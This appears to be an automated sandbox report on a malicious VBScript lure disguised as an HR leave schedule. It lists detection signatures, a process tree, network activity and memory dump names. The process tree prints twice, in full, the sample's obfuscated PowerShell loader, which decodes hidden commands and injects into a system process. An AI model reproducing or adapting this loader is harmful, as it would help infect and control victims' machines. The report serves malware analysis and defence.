Analysis
- max time kernel
149s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/07/2026, 02:19
General
- Target HR Leave Schedule 2026 (Updated).vbe
- Size 18KB
- Sample260710-cscjgacs2j
- SHA256 6bd60df85d8916b75d47f60b0a785efdaed4def6471462e6dd89b580b031430d
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HR Leave Schedule 2026 (Updated).vbe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'bedgowns' 'demain254' 'pyrotechnically';$hornblendite=43524-43524;$piehouse=-24329+30329;function semiped ($skadefrydens,$eklipsernes) {$ceratophyllum=telefontiden(@(150,216,219,194,214,202,216,215,235,214,202,222,212,159,199,234,212,228,154,137,213,204,222,206,226,216,215,228,211,213,212,155)) ;Storindustriens ($ceratophyllum)}function telefontiden ($karriol) { do {$piehouse=$glaux[$hornblendite%9];$karriol[$hornblendite]-=$piehouse;$piehouse=[char]$karriol[$hornblendite];$smrebrtterne+=$piehouse;$hornblendite++} while ($karriol[$hornblendite])$smrebrtterne}function Storindustriens ($depress) {&($homonymy) $depress}Function Ekstrudere ($karriol,$recusal=0){$satd=telefontiden(@(205,168,223,207,232,202,228,217,207,172,159,182,211,225,210,180,198,229,215,155,164,180,230,215,219,211,217,154,137,219,194,228,215,219,212,222,155));$buntline=@(Storindustriens ($satd));For($lagerhusenes=0; $buntline[$lagerhusenes] -ne $calyciflorate; $lagerhusenes++){$buntline[$lagerhusenes] = semiped $buntline[$lagerhusenes] $glaux[$lagerhusenes%9]}$portefljemanagerne=telefontiden(@(159,207,223,202,224,133,205,200,218,211,215,203,190,207,137,212,218,224,230,209,217,207,215));$kingston=Storindustriens ($portefljemanagerne);if ($recusal) { Storindustriens $kingston}else {;$kingston}}$glaux=@(114,101,112,97,114,101,114,101,114);$homonymy=telefontiden @(187,170,200);$overscore='\Mismanages.Tej';$spongilline=Ekstrudere 'R0tAQVoyGwsWHRIDQTwxUlRCXFVLQSUMHFNGSUUIV0ZeUhcESFRFU1xVW0U1FwYbDl1XQlRCQlRAUFIjGxcXFAoITkNQQEtC';$hematocyst=Ekstrudere 'GhEEEQFfXUoWAAwGBFwCHQoVHgBeAh0IXRARTQAIER0XBlgWHRIeDR0EFkMbFlhBAAYJQQYoOCszNQEQCgg6MxwdFxBSLQZKRVY6LiomQh0=';$strimmellseren=Ekstrudere 'PxYIDB5XXDYXABMVEyooPi0mJjVeV1xV';$kolonimagten113=Ekstrudere 'NSAk';$mutilation5=Ekstrudere 'JxYVE18kFQAcBg==';$parenetic=Ekstrudere 'TA==';Ekstrudere 'VgIcDhAEHl8GFxcdDh4AERAeExdNRRcLBF8TAhUUAAYEWUEdBAACEhEKAAA=' 1;Ekstrudere 'VgIcDhAEHl8VEwEDAwcBT0EaFwgRFR0GCxYGXBYADRsRWkECExcVDxcRGwZb' 1;$hematocyst=$gadsbud[0];Ekstrudere 'VgIcDhAEHl8dCAoeCAgATysXBUg/AxgAERFSXyYfDFJBAREAGwgdBB4JAQAAFws=' 1;Ekstrudere 'VgIcDhAEHl8BBgwcBAYRFwtPWjEVEgZIIgQGGkVUFRcXHwoeFwYFDRMXWw==' 1;while (!$stiletten) {Ekstrudere 'VgIcDhAEHl8iEwECCBMGT0EGABAV' 1;Ekstrudere 'VgoKDhwMCABcHRUVD1pBGQoeHQsZDBMCBgAcQ1RDTVJBGgAfExEfAgsWBklSVgMRDQEAWw==' 1;Ekstrudere 'VgoKDhwMCABcAQAEMxcUBwABBi0VABYAAE1WHxAECB4EBgwdHFBcQVYWAgocFQwcDRsLF0w=' 1;Ekstrudere 'VgoKDhwMCABcAQAeBVpM' 1;Ekstrudere 'VgIcDhAEHl8fExcZDxcEBhETEQ0KCE9BHR8dHAwKBFwWBgQGBxZQTBcUUldCQg==' 1;if ($marineattachzi) {Ekstrudere 'KQcJFRc+LzhWFQkfAxMJSBcXFgAcCBAAAAQGGwsXUEJXT0EdCAoeCAgAXBcXARUfDwEAMAoWCw==' 1;Ekstrudere 'AQZQRQYAAAgdHgATFB4EAEVWAAAUBB4MEAAAExEZDxVUQldSXyAeAh0BGwsVUicJFRc=' 1} Ekstrudere 'IQkVBAJNRkw=' 1;Ekstrudere 'VgIcDhAEHl8BBgwcBAYRFwtPWjEVEgZIIgQGGkVUFRcXHwoeFwYFDRMXWw==' 1 ;Ekstrudere 'VgIcDhAEHl8BCxMfBgYcBAAcFgAUBB4WT0EVHgoSAB5fFAocBgQVDxdOWUBWFQQUEhAQFksRHRAeFQ==' 1;$hematocyst=$gadsbud[$syvogtyvendedels]}$rerack=136568;$lagerhusenesnflexure=20130;Ekstrudere 'VgIcDhAEHl8UExEEBAERTwIRUkEEBAAIHQkXERAcAAA=' 1;Ekstrudere 'VgIcDhAEHl8lHRYSCAABTz4xHQsGBAARL19INBcfDDAEAQBERjYEExsLFU1WFAQEFRcWBkw=' 1;Ekstrudere 'VgIcDhAEHl8fHRAECRcXTz4mFx0ETzcLEQoWGwsXPEhfMzYxOyxeJhcRIREAGwsXSVYyHRYQGxcUSA==' 1;Ekstrudere 'VgIcDhAEHl8UHgoEFRcLGgAYHwACBBwWT0EfHRAECRcXXBYHEBYEExsLFU1WAAACABEOXkEeEwIVExoQAQAcFxYeBx4AChAAF0w=' 1;Storindustriens $flottenhejmerens;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'bedgowns' 'demain254' 'pyrotechnically';$hornblendite=43524-43524;$piehouse=-24329+30329;function semiped ($skadefrydens,$eklipsernes) {$ceratophyllum=telefontiden(@(150,216,219,194,214,202,216,215,235,214,202,222,212,159,199,234,212,228,154,137,213,204,222,206,226,216,215,228,211,213,212,155)) ;Storindustriens ($ceratophyllum)}function telefontiden ($karriol) { do {$piehouse=$glaux[$hornblendite%9];$karriol[$hornblendite]-=$piehouse;$piehouse=[char]$karriol[$hornblendite];$smrebrtterne+=$piehouse;$hornblendite++} while ($karriol[$hornblendite])$smrebrtterne}function Storindustriens ($depress) {&($homonymy) $depress}Function Ekstrudere ($karriol,$recusal=0){$satd=telefontiden(@(205,168,223,207,232,202,228,217,207,172,159,182,211,225,210,180,198,229,215,155,164,180,230,215,219,211,217,154,137,219,194,228,215,219,212,222,155));$buntline=@(Storindustriens ($satd));For($lagerhusenes=0; $buntline[$lagerhusenes] -ne $calyciflorate; $lagerhusenes++){$buntline[$lagerhusenes] = semiped $buntline[$lagerhusenes] $glaux[$lagerhusenes%9]}$portefljemanagerne=telefontiden(@(159,207,223,202,224,133,205,200,218,211,215,203,190,207,137,212,218,224,230,209,217,207,215));$kingston=Storindustriens ($portefljemanagerne);if ($recusal) { Storindustriens $kingston}else {;$kingston}}$glaux=@(114,101,112,97,114,101,114,101,114);$homonymy=telefontiden @(187,170,200);$overscore='\Mismanages.Tej';$spongilline=Ekstrudere 'R0tAQVoyGwsWHRIDQTwxUlRCXFVLQSUMHFNGSUUIV0ZeUhcESFRFU1xVW0U1FwYbDl1XQlRCQlRAUFIjGxcXFAoITkNQQEtC';$hematocyst=Ekstrudere 'GhEEEQFfXUoWAAwGBFwCHQoVHgBeAh0IXRARTQAIER0XBlgWHRIeDR0EFkMbFlhBAAYJQQYoOCszNQEQCgg6MxwdFxBSLQZKRVY6LiomQh0=';$strimmellseren=Ekstrudere 'PxYIDB5XXDYXABMVEyooPi0mJjVeV1xV';$kolonimagten113=Ekstrudere 'NSAk';$mutilation5=Ekstrudere 'JxYVE18kFQAcBg==';$parenetic=Ekstrudere 'TA==';Ekstrudere 'VgIcDhAEHl8GFxcdDh4AERAeExdNRRcLBF8TAhUUAAYEWUEdBAACEhEKAAA=' 1;Ekstrudere 'VgIcDhAEHl8VEwEDAwcBT0EaFwgRFR0GCxYGXBYADRsRWkECExcVDxcRGwZb' 1;$hematocyst=$gadsbud[0];Ekstrudere 'VgIcDhAEHl8dCAoeCAgATysXBUg/AxgAERFSXyYfDFJBAREAGwgdBB4JAQAAFws=' 1;Ekstrudere 'VgIcDhAEHl8BBgwcBAYRFwtPWjEVEgZIIgQGGkVUFRcXHwoeFwYFDRMXWw==' 1;while (!$stiletten) {Ekstrudere 'VgIcDhAEHl8iEwECCBMGT0EGABAV' 1;Ekstrudere 'VgoKDhwMCABcHRUVD1pBGQoeHQsZDBMCBgAcQ1RDTVJBGgAfExEfAgsWBklSVgMRDQEAWw==' 1;Ekstrudere 'VgoKDhwMCABcAQAEMxcUBwABBi0VABYAAE1WHxAECB4EBgwdHFBcQVYWAgocFQwcDRsLF0w=' 1;Ekstrudere 'VgoKDhwMCABcAQAeBVpM' 1;Ekstrudere 'VgIcDhAEHl8fExcZDxcEBhETEQ0KCE9BHR8dHAwKBFwWBgQGBxZQTBcUUldCQg==' 1;if ($marineattachzi) {Ekstrudere 'KQcJFRc+LzhWFQkfAxMJSBcXFgAcCBAAAAQGGwsXUEJXT0EdCAoeCAgAXBcXARUfDwEAMAoWCw==' 1;Ekstrudere 'AQZQRQYAAAgdHgATFB4EAEVWAAAUBB4MEAAAExEZDxVUQldSXyAeAh0BGwsVUicJFRc=' 1} Ekstrudere 'IQkVBAJNRkw=' 1;Ekstrudere 'VgIcDhAEHl8BBgwcBAYRFwtPWjEVEgZIIgQGGkVUFRcXHwoeFwYFDRMXWw==' 1 ;Ekstrudere 'VgIcDhAEHl8BCxMfBgYcBAAcFgAUBB4WT0EVHgoSAB5fFAocBgQVDxdOWUBWFQQUEhAQFksRHRAeFQ==' 1;$hematocyst=$gadsbud[$syvogtyvendedels]}$rerack=136568;$lagerhusenesnflexure=20130;Ekstrudere 'VgIcDhAEHl8UExEEBAERTwIRUkEEBAAIHQkXERAcAAA=' 1;Ekstrudere 'VgIcDhAEHl8lHRYSCAABTz4xHQsGBAARL19INBcfDDAEAQBERjYEExsLFU1WFAQEFRcWBkw=' 1;Ekstrudere 'VgIcDhAEHl8fHRAECRcXTz4mFx0ETzcLEQoWGwsXPEhfMzYxOyxeJhcRIREAGwsXSVYyHRYQGxcUSA==' 1;Ekstrudere 'VgIcDhAEHl8UHgoEFRcLGgAYHwACBBwWT0EfHRAECRcXXBYHEBYEExsLFU1WAAACABEOXkEeEwIVExoQAQAcFxYeBx4AChAAF0w=' 1;Storindustriens $flottenhejmerens;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Mismanages.Tej
memory/1236-43-0x0000000006840000-0x000000000685E000-memory.dmp
memory/1236-25-0x0000000002FF0000-0x0000000003026000-memory.dmp
memory/1236-52-0x0000000009230000-0x000000000C7D9000-memory.dmp
memory/1236-50-0x0000000008C70000-0x000000000922A000-memory.dmp
memory/1236-49-0x0000000007C50000-0x0000000007C72000-memory.dmp
memory/1236-48-0x0000000007CF0000-0x0000000007D86000-memory.dmp
memory/1236-47-0x0000000006D90000-0x0000000006DAA000-memory.dmp
memory/1236-46-0x0000000008030000-0x00000000086AC000-memory.dmp
memory/1236-44-0x0000000006860000-0x00000000068AC000-memory.dmp
memory/1236-30-0x00000000061A0000-0x0000000006206000-memory.dmp
memory/1236-35-0x0000000006320000-0x000000000667B000-memory.dmp
memory/1236-31-0x0000000006210000-0x0000000006276000-memory.dmp
memory/1236-29-0x0000000005A60000-0x0000000005A82000-memory.dmp
memory/1236-26-0x0000000005B50000-0x000000000619A000-memory.dmp
memory/1828-19-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-40-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-22-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-23-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-27-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-21-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-6-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-34-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-7-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-37-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-15-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-5-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-39-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-24-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-42-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-41-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-0-0x00007FFF67CDF000-0x00007FFF67CE0000-memory.dmp
memory/1828-14-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-13-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-28-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-4-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-11-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-12-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-10-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-9-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-8-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp
memory/1828-3-0x000001F8D9450000-0x000001F8D9472000-memory.dmp
memory/1828-36-0x00007FFF67B50000-0x00007FFF684F4000-memory.dmp